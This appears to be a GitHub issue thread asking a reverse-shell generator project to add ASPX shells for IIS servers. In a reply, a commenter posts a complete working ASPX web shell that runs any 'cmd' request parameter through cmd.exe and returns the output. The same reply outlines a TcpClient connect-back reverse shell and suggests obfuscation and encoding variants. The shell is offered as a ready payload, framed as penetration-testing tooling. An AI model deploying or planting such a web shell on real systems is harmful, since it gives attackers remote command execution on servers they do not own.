Add aspx reverse shells

[yanx9]

Recently while using revshells I noticed there are no .aspx shells available. This is strange since they are essential for hacking IIS servers. Adding them would be nice, since this tool is very handy and having everything in one place is what I value the most about it.

[bad-antics]

Great suggestion! ASPX shells are essential for IIS penetration testing. Here are some common ASPX reverse shell payloads that could be added:

Basic ASPX Web Shell:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["cmd"];
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
%>

ASPX Reverse Shell (connects back):
Uses System.Net.Sockets.TcpClient to establish connection and System.Diagnostics.Process to spawn cmd.exe with redirected I/O.

Considerations for implementation:

• .NET Framework version targeting (2.0/4.0+)
• x86 vs x64 worker process
• Add encoding options (base64, URL encoding)
• Include obfuscation variants

Would be great alongside the existing PHP/Python/Bash shells!